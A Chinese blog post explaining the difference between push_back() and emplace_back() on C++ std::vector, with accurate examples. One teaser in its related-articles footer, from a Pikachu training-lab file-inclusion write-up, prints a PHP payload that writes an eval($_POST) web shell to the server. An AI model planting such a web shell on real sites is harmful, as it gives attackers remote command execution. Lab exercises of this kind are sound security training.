vector中的push_back()和emplace_back()的区别、以及使用场景

news2024/12/23 5:21:14

目录

前言

1. 基本区别

2. 性能差异

3. 构造参数传递

4. 使用场景总结


前言

  • push_back() 更适合在已经有对象实例的情况下使用。
  • emplace_back() 则更适合需要在容器内部直接构造对象的场景,特别是在性能敏感的情况下。

1. 基本区别

  • push_back():

    • 作用:将一个已构造的对象或临时对象复制或移动到容器的末尾。
    • 使用场景:适合在对象已经存在,或需要将现有对象的副本或移动语义插入到容器中时使用。
    • 示例:
std::vector<std::string> vec;
std::string str = "example";
vec.push_back(str); // 复制 str 到 vec 中
vec.push_back("example"); // 插入临时对象 "example"
  • emplace_back():

    • 作用:在容器末尾直接构造对象,避免不必要的复制或移动。
    • 使用场景:适合直接在容器内部构造对象,特别是当对象构造较为复杂时,emplace_back() 可以减少一次构造和析构的开销。
    • 示例:
std::vector<std::string> vec;
vec.emplace_back("example"); // 直接在 vec 中构造 "example"

2. 性能差异

  • push_back(): 在插入时可能涉及一次额外的对象复制或移动(先构造一个临时对象,再将其复制或移动到容器中)。
  • emplace_back(): 直接在目标位置构造对象,通常避免了对象的复制或移动,因此在某些情况下性能更优。

3. 构造参数传递

  • push_back(): 需要传入一个已经构造好的对象。
  • emplace_back(): 可以直接传递构造函数的参数,允许在容器内构造对象。
std::vector<std::pair<int, std::string>> vec;
vec.push_back(std::make_pair(1, "example")); // 需要先构造一个 std::pair 对象
vec.emplace_back(1, "example"); // 直接在 vec 中构造 std::pair 对象

4. 使用场景总结

  • push_back():

    • 使用现有对象的副本或移动语义插入到容器中。
    • 当对象已经存在或构造较为简单时,push_back() 足够使用。
  • emplace_back():

    • 在容器内直接构造对象,特别适合构造较为复杂的对象,或避免不必要的对象拷贝。
    • 推荐在需要传递多个构造参数的情况下使用 emplace_back()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2103971.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

酒店智能触摸开关在酒店管理中的作用

在众多智能化设备中&#xff0c;酒店智能触摸开关以其便捷性、高效性和节能环保的特性&#xff0c;正逐步成为提升住客体验、优化酒店运营管理的关键元素。本文将深入探讨酒店智能触摸开关在酒店管理中的多重作用。 一、提升住客体验&#xff0c;增强服务品质 便捷操作&#xf…

护眼灯真的可以保护眼睛吗?曝光劣质护眼台灯常见的三个特征

护眼灯真的可以保护眼睛吗&#xff1f;随着时代的发展&#xff0c;我们注意到越来越多的孩子开始佩戴眼镜。这一趋势引起了许多细心家长的关注&#xff0c;他们认识到这不仅是个别情况&#xff0c;而是现代生活方式和环境对孩子视力健康的挑战。自然而然地&#xff0c;“儿童是…

【淘宝采集项目经验分享】商品评论采集 |商品详情采集 |关键词搜索商品信息采集

商品评论采集 1、输入商品ID 2、筛选要抓取评论类型 3、填写要抓取的页数 4、立刻提交-启动测试 5、等爬虫结束后就可以到“爬取结果”里面下载数据 商品详情采集 1、输入商品ID 2、立刻提交-启动爬虫 3、等爬虫结束后就可以到“爬取结果”里面下载数据 taobao.item_…

报名开启!IDEA研究院编程语言MoonBit全球编程创新挑战赛启动

"懂语言者得天下"。探索编程之革新&#xff0c;参与AI时代编程语言之构建。2024年MoonBit全球编程创新挑战赛&#xff0c;为你开启&#xff01; 我们向每一位怀揣才华与创意的编程爱好者发出邀请&#xff0c;一起在这场创新与挑战的盛会中&#xff0c;将理想照进现实…

针对IP专用https证书的详细申请教程

IP&#xff08;Internet Protocol&#xff09;地址是网络中最基本的标识之一&#xff0c;它是互联网上设备之间通信的基础。 IP SSL作为一种强大的技术&#xff0c;不仅可以保护网站和应用程序的数据传输安全&#xff0c;还能为企业和个人提供一个更加安全的网络环境。本文将探…

佰朔资本:热热热!关于这项业务,上市公司扎堆回复

跟着折叠屏手机概念火爆&#xff0c;与折叠屏手机相关的上市公司股价走出独立行情。 近期&#xff0c;包含科森科技、凯盛科技、国风新材、鼎龙科技、金银河在内的多家上市公司股价出现显着上涨。其间&#xff0c;科森科技结束7连板&#xff0c;国风新材结束3连板&#xff0c;…

iphone怎么设置自定义铃声?手把手教你3个方法解决问题

iPhone手机铃声如何换成自己喜欢的音乐呢&#xff1f;今天&#xff0c;小编就为你带来了3个超好用的方法&#xff0c;手把手教你iPhone怎么设置自定义铃声&#xff0c;为你打造一个手机响铃。一起来看一下这3个方法具体是怎么操作的吧。 操作环境&#xff1a; 演示机型&#xf…

vue3 前端实现pdf打印预览 printjs

在utils建print.ts文件 interface PrintFunction {extendOptions: Function;getStyle: Function;setDomHeight: Function;toPrint: Function; }const Print function (dom, options?: object): PrintFunction {options options || {};// ts-expect-errorif (!(this instanc…

通俗易懂理解Java泛型

什么是泛型 参数化类型 Java泛型是J2 SE1.5中引入的一个新特性&#xff0c;其本质是参数化类型&#xff0c;也就是说所操作的数据类型被指定为一个参数&#xff08;type parameter&#xff09;这种参数类型可以用在类、接口和方法的创建中&#xff0c;分别称为泛型类、泛型接口…

(力扣164)C语言-基数排序 最大间距

文章目录 题目解题思路代码 题目来源 力扣164 代码是官方题解&#xff0c;这篇文章是对官方题解的一个理解&#xff0c;记录学习日常哒&#xff0c;如若有错&#xff0c;欢迎指出吖&#xff5e;谢谢。 题目 给定一个无序的数组 nums&#xff0c;返回 数组在排序之后&#xff0…

【Vue】Vue3.5 新特性

useId 为 每一个 vue 文件创建一个唯一的 id&#xff1a; app.vue import {useId} from "vue"; import Child from "/Child.vue";const comId useId(); console.log(">(App.vue:5) comId", comId);// ...<Child />useTemplateRef u…

Node.js和uni-app实现微信小程序支付

前言 自己实现一个带支付功能的小程序&#xff0c;前端使用uniapp&#xff0c;后端使用Node.js&#xff0c;将实现微信小程序支付功能的全流程详细记录下来。使用的是全新的微信支付 APIv3 效果演示 用户付款流程 如图1&#xff0c;用户通过分享或扫描二维码进入商户小程序&…

竹云牵头编写 | 《零信任能力成熟度模型》团体标准初审会议顺利召开!

近日&#xff0c;受中国服务贸易协会信息技术服务委员会委托&#xff0c;由竹云牵头编写的《零信任能力成熟度模型》团体标准初审会议在北京顺利召开。本次会议围绕零信任能力成熟度模型议题&#xff0c;解读政策、产业与市场发展趋势&#xff0c;旨在推进零信任架构深化应用&a…

Unity | 内存优化之资源冗余问题

目录 一、资源冗余 1.主动打包和被动打包 2.依赖资源处理 &#xff08;1&#xff09;分别制作AB包&#xff0c;会造成冗余 &#xff08;2&#xff09;资源冗余解决办法&#xff1a; &#xff08;2.1&#xff09;先主动打依赖资源AB包 &#xff08;2.2&#xff09;将两个…

Pikachu文件包含漏洞(本地和远程)

一、本地文件包含 打开靶场&#xff0c;选择一个查看 读取一个本地文件查看 二、远程文件包含 在云服务器创建一个txt文件写入 <?php fputs(fopen("shell.php","w"),<?php eval($_POST["cmd"]);?>)?> 在本机上查看,会生成一个…

mmdetection学习——模型对比实验

1. 安装配置mmdetection环境&#xff0c;直接看官网 开始你的第一步 — MMDetection 3.0.0 文档 最好用conda新建环境管理&#xff0c;防止包冲突 git clone mmdetection源码到本地 2. 开始实验 2.1 准备数据集 需要使用COCO数据集格式 2.2 配置训练文件 在configs文件夹…

STM32F1+HAL库+FreeTOTS学习8——第一个任务,启动!

STM32F1HAL库FreeTOTS学习8——第一个任务&#xff0c;启动&#xff01; 开启任务调度器1. 函数 vTaskStartScheduler()2. 函数xPortStartScheduler() 启动第一个任务1. 函数 prvStartFirstTask()2. 函数 vPortSVCHandler() 上一期我们学习了列表和列表项的相关内容和API函数实…

python-小理帮老师改错

题目描述 老师给小理发了一封电子邮件&#xff0c;任务如下。 写一个程序&#xff0c;给你 n 个数&#xff0c;输出 X。 Xnum1^p1​​num2^p2​​⋯numn^pn​​ num1​&#xff0c;num2​&#xff0c;⋯⋯&#xff0c;numn​ 都是整数&#xff0c;p1​&#xff0c;p2​&#xf…

十二、集合

文章目录 一、集合的理解和好处二、集合框架体系图三、Collection接口 特点 方法3.1 Collection基本介绍3.2 Collection接口常用方法3.3 Collection接口遍历元素3.3.1 方式1-使用Iterator(迭代器)3.3.2 方式2-增强for循环 四、Collection接口的子接口&#xff1a;List 实现类&a…

【C++ 第二十章】使用 shared_ptr 会出现严重 循环引用 问题?

众所周知&#xff0c;智能指针 shared_ptr 能够允许拷贝行为&#xff0c;是因为其内部使用 引用计数的 方式&#xff0c;使得多个智能指针对象共享同一个资源&#xff08;如果不了解 shared_ptr &#xff0c;可以先自己了解学习一下&#xff09; 而 引用计数 却可能引起 循环引…